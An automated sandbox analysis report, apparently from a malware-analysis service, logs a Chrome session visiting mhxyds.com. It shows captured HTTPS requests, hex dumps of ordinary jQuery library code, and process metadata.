Session ID Source IP Source Port Destination IP
Destination
Port

Process

96 192.168.11.20 51446 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:51 UTC 1407 OUT GET /png/thad77.png?h=73&w=55&la=en&hash=4311F49121FFFAB00AC2A81710641D8C4BA0FCC4 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

97 118.27.105.118 443 192.168.11.20 51443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:51 UTC 1407 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:50 GMT
Content-Type: application/javascript
Content-Length: 94487
Last-Modified: Mon, 28 Nov 2016 18:14:44 GMT
Connection: close
Vary: Accept-Encoding
ETag: "583c7414-17117"
Expires: Thu, 11 Aug 2022 15:42:50 GMT
Cache-Control: max-age=43200
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:51 UTC 1408 IN Data Raw: ef bb bf 2f 2a 20 4e 55 47 45 54 3a 20 42 45 47 49 4e 20 4c 49 43 45 4e 53 45 20 54 45 58 54 0d 0a 20 2a 0d 
0a 20 2a 20 4d 69 63 72 6f 73 6f 66 74 20 67 72 61 6e 74 73 20 79 6f 75 20 74 68 65 20 72 69 67 68 74 20 74 6f 20 75 73 
65 20 74 68 65 73 65 20 73 63 72 69 70 74 20 66 69 6c 65 73 20 66 6f 72 20 74 68 65 20 73 6f 6c 65 0d 0a 20 2a 20 70 
75 72 70 6f 73 65 20 6f 66 20 65 69 74 68 65 72 3a 20 28 69 29 20 69 6e 74 65 72 61 63 74 69 6e 67 20 74 68 72 6f 75 
67 68 20 79 6f 75 72 20 62 72 6f 77 73 65 72 20 77 69 74 68 20 74 68 65 20 4d 69 63 72 6f 73 6f 66 74 0d 0a 20 2a 20 77 
65 62 73 69 74 65 20 6f 72 20 6f 6e 6c 69 6e 65 20 73 65 72 76 69 63 65 2c 20 73 75 62 6a 65 63 74 20 74 6f 20 74 68 65 
20 61 70 70 6c 69 63 61 62 6c 65 20 6c 69 63 65 6e 73 69 6e 67 
Data Ascii: /* NUGET: BEGIN LICENSE TEXT * * Microsoft grants you the right to use these script files for the sole * pur
pose of either: (i) interacting through your browser with the Microsoft * website or online service, subject to the applicable 
licensing

2022-08-11 03:42:51 UTC 1423 IN Data Raw: 2b 63 29 3a 63 3a 30 3b 66 6f 72 28 3b 63 3c 64 3b 63 2b 2b 29 69 66 28 63 20 69 6e 20 62 26 26 62 5b 63 5d 
3d 3d 3d 61 29 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 2d 31 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 
61 2c 63 29 7b 76 61 72 20 64 3d 63 2e 6c 65 6e 67 74 68 2c 65 3d 61 2e 6c 65 6e 67 74 68 2c 66 3d 30 3b 69 66 28 74 
79 70 65 6f 66 20 64 3d 3d 22 6e 75 6d 62 65 72 22 29 66 6f 72 28 3b 66 3c 64 3b 66 2b 2b 29 61 5b 65 2b 2b 5d 3d 63 5
b 66 5d 3b 65 6c 73 65 20 77 68 69 6c 65 28 63 5b 66 5d 21 3d 3d 62 29 61 5b 65 2b 2b 5d 3d 63 5b 66 2b 2b 5d 3b 72 
65 74 75 72 6e 20 61 2e 6c 65 6e 67 74 68 3d 65 2c 61 7d 2c 67 72 65 70 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 
29 7b 76 61 72 20 64 2c 65 3d 5b 5d 2c 66 3d 30 2c 67 3d 61 2e 6c 65 6e 
Data Ascii: +c):c:0;for(;c<d;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,c){var d=c.length,e=a.length,f=
0;if(typeof d=="number")for(;f<d;f++)a[e++]=c[f];else while(c[f]!==b)a[e++]=c[f++];return a.length=e,a},grep:function(a,b,c)
{var d,e=[],f=0,g=a.len
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2022-08-11 03:42:51 UTC 1446 IN Data Raw: 69 73 58 4d 4c 44 6f 63 28 61 29 2c 67 26 26 28 63 3d 70 2e 70 72 6f 70 46 69 78 5b 63 5d 7c 7c 63 2c 66 3d 
70 2e 70 72 6f 70 48 6f 6f 6b 73 5b 63 5d 29 2c 64 21 3d 3d 62 3f 66 26 26 22 73 65 74 22 69 6e 20 66 26 26 28 65 3d 66 
2e 73 65 74 28 61 2c 64 2c 63 29 29 21 3d 3d 62 3f 65 3a 61 5b 63 5d 3d 64 3a 66 26 26 22 67 65 74 22 69 6e 20 66 26 
26 28 65 3d 66 2e 67 65 74 28 61 2c 63 29 29 21 3d 3d 6e 75 6c 6c 3f 65 3a 61 5b 63 5d 7d 2c 70 72 6f 70 48 6f 6f 6b 73 
3a 7b 74 61 62 49 6e 64 65 78 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 61 2e 67 65 74 
41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 74 61 62 69 6e 64 65 78 22 29 3b 72 65 74 75 72 6e 20 63 26 26 63 2e 73 
70 65 63 69 66 69 65 64 3f 70 61 72 73 65 49 6e 74 28 63 2e 76 61 
Data Ascii: isXMLDoc(a),g&&(c=p.propFix[c]||c,f=p.propHooks[c]),d!==b?f&&"set"in f&&(e=f.set(a,d,c))!==b?e:a[c
]=d:f&&"get"in f&&(e=f.get(a,c))!==null?e:a[c]},propHooks:{tabIndex:{get:function(a){var c=a.getAttributeNode("tabindex"
);return c&&c.specified?parseInt(c.va

2022-08-11 03:42:51 UTC 1462 IN Data Raw: 3f 5b 5d 3a 67 3a 71 3b 63 26 26 63 28 71 2c 72 2c 68 2c 69 29 3b 69 66 28 64 29 7b 6c 3d 62 6b 28 72 2c 6e 
29 2c 64 28 6c 2c 5b 5d 2c 68 2c 69 29 2c 6a 3d 6c 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6a 2d 2d 29 69 66 28 6b 
3d 6c 5b 6a 5d 29 72 5b 6e 5b 6a 5d 5d 3d 21 28 71 5b 6e 5b 6a 5d 5d 3d 6b 29 7d 69 66 28 66 29 7b 6a 3d 61 26 26 72 
2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6a 2d 2d 29 69 66 28 6b 3d 72 5b 6a 5d 29 66 5b 6d 5b 6a 5d 5d 3d 21 28 67 
5b 6d 5b 6a 5d 5d 3d 6b 29 7d 65 6c 73 65 20 72 3d 62 6b 28 72 3d 3d 3d 67 3f 72 2e 73 70 6c 69 63 65 28 6f 2c 72 2e 
6c 65 6e 67 74 68 29 3a 72 29 2c 65 3f 65 28 6e 75 6c 6c 2c 67 2c 72 2c 69 29 3a 77 2e 61 70 70 6c 79 28 67 2c 72 29 
7d 29 7d 66 75 6e 63 74 69 6f 6e 20 62 6d 28 61 29 7b 76 61 72 20 62 2c 
Data Ascii: ?[]:g:q;c&&c(q,r,h,i);if(d){l=bk(r,n),d(l,[],h,i),j=l.length;while(j--)if(k=l[j])r[n[j]]=!(q[n[j]]=k)}if(f){j=a&&r.length;while(j-
-)if(k=r[j])f[m[j]]=!(g[m[j]]=k)}else r=bk(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):w.apply(g,r)})}function bm(a){var b,

2022-08-11 03:42:51 UTC 1478 IN Data Raw: 6f 64 65 54 79 70 65 21 3d 3d 31 7c 7c 21 70 28 66 29 2e 69 73 28 64 29 29 29 66 2e 6e 6f 64 65 54 79 70 65 
3d 3d 3d 31 26 26 65 2e 70 75 73 68 28 66 29 2c 66 3d 66 5b 63 5d 3b 72 65 74 75 72 6e 20 65 7d 2c 73 69 62 6c 69 6e 
67 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 5b 5d 3b 66 6f 72 28 3b 61 3b 61 3d 61 2e 6e 65 78 
74 53 69 62 6c 69 6e 67 29 61 2e 6e 6f 64 65 54 79 70 65 3d 3d 3d 31 26 26 61 21 3d 3d 62 26 26 63 2e 70 75 73 68 28 
61 29 3b 72 65 74 75 72 6e 20 63 7d 7d 29 3b 76 61 72 20 62 6c 3d 22 61 62 62 72 7c 61 72 74 69 63 6c 65 7c 61 73 69 
64 65 7c 61 75 64 69 6f 7c 62 64 69 7c 63 61 6e 76 61 73 7c 64 61 74 61 7c 64 61 74 61 6c 69 73 74 7c 64 65 74 61 69 
6c 73 7c 66 69 67 63 61 70 74 69 6f 6e 7c 66 69 67 75 72 65 7c 66 6f 6f 
Data Ascii: odeType!==1||!p(f).is(d)))f.nodeType===1&&e.push(f),f=f[c];return e},sibling:function(a,b){var c=[];for(;a;a
=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var bl="abbr|article|aside|audio|bdi|canvas|data|d
atalist|details|figcaption|figure|foo

2022-08-11 03:42:51 UTC 1506 IN Data Raw: 6c 65 61 72 54 69 6d 65 6f 75 74 28 68 29 2c 67 3d 62 2c 65 3d 69 7c 7c 22 22 2c 78 2e 72 65 61 64 79 53 74 
61 74 65 3d 61 3e 30 3f 34 3a 30 2c 66 26 26 28 75 3d 63 43 28 6c 2c 78 2c 66 29 29 3b 69 66 28 61 3e 3d 32 30 30 26 
26 61 3c 33 30 30 7c 7c 61 3d 3d 3d 33 30 34 29 6c 2e 69 66 4d 6f 64 69 66 69 65 64 26 26 28 77 3d 78 2e 67 65 74 52 
65 73 70 6f 6e 73 65 48 65 61 64 65 72 28 22 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 22 29 2c 77 26 26 28 70 2e 6c 61 7
3 74 4d 6f 64 69 66 69 65 64 5b 64 5d 3d 77 29 2c 77 3d 78 2e 67 65 74 52 65 73 70 6f 6e 73 65 48 65 61 64 65 72 28 22 
45 74 61 67 22 29 2c 77 26 26 28 70 2e 65 74 61 67 5b 64 5d 3d 77 29 29 2c 61 3d 3d 3d 33 30 34 3f 28 79 3d 22 6e 6f 
74 6d 6f 64 69 66 69 65 64 22 2c 6b 3d 21 30 29 3a 28 6b 3d 63 44 28 
Data Ascii: learTimeout(h),g=b,e=i||"",x.readyState=a>0?4:0,f&&(u=cC(l,x,f));if(a>=200&&a<300||a===304)l.ifModified&&
(w=x.getResponseHeader("Last-Modified"),w&&(p.lastModified[d]=w),w=x.getResponseHeader("Etag"),w&&(p.et
ag[d]=w)),a===304?(y="notmodified",k=!0):(k=cD(

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

98 192.168.11.20 63422 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:51 UTC 1439 OUT GET /css/fonts/helvetica-neue/2DF85E_1_0.woff2 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

99 192.168.11.20 50745 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:51 UTC 1440 OUT GET /js/jquery-ui-1.8.24.js HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://mhxyds.com/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9

Timestamp
kBytes
transferred

Direction Data

• chrome.exe

• chrome.exe

• chrome.exe

• chrome.exe

Click to jump to process

Target ID: 0

Start time: 05:42:35

Start date: 11/08/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized  "about:blank

Imagebase: 0x7ff608b30000

File size: 2509656 bytes

MD5 hash: 464953824E644F10FFDC9E093FD18F94

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: low

Statistics

Behavior

System Behavior

Analysis Process: chrome.exe PID: 1064, Parent PID: 7976

General

File Activities
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There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

Old File Path New File Path Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

Key Path Completion Count Source Address Symbol

Key Path Name Type Data Completion Count Source Address Symbol

Key Path Name Type Old Data New Data Completion Count
Source
Address

Symbol

Target ID: 2

Start time: 05:42:36

Start date: 11/08/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1704,14190
051148730696993,15132662453529190112,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2020 /prefetch:8

Imagebase: 0x7ff608b30000

File size: 2509656 bytes

MD5 hash: 464953824E644F10FFDC9E093FD18F94

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: low

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

Old File Path New File Path Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

Target ID: 4

Start time: 05:42:36

Start date: 11/08/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: C:\Program Files\Google\Chrome\Application\chrome.exe" "https://mhxyds.com/contact.html

Imagebase: 0x7ff608b30000

File size: 2509656 bytes

MD5 hash: 464953824E644F10FFDC9E093FD18F94

Has elevated privileges: true

Registry Activities

Analysis Process: chrome.exe PID: 6216, Parent PID: 1064

General

File Activities

Analysis Process: chrome.exe PID: 628, Parent PID: 7976

General
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Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: low

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

Key Path Name Type Old Data New Data Completion Count
Source
Address

Symbol

Target ID: 5

Start time: 05:42:39

Start date: 11/08/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --field-trial-handle=1704,1419
0051148730696993,15132662453529190112,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5876 /prefetch:8

Imagebase: 0x7ff608b30000

File size: 2509656 bytes

MD5 hash: 464953824E644F10FFDC9E093FD18F94

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: low

⊘ No disassembly

File Activities

Registry Activities

Analysis Process: chrome.exe PID: 8472, Parent PID: 1064

General

Disassembly
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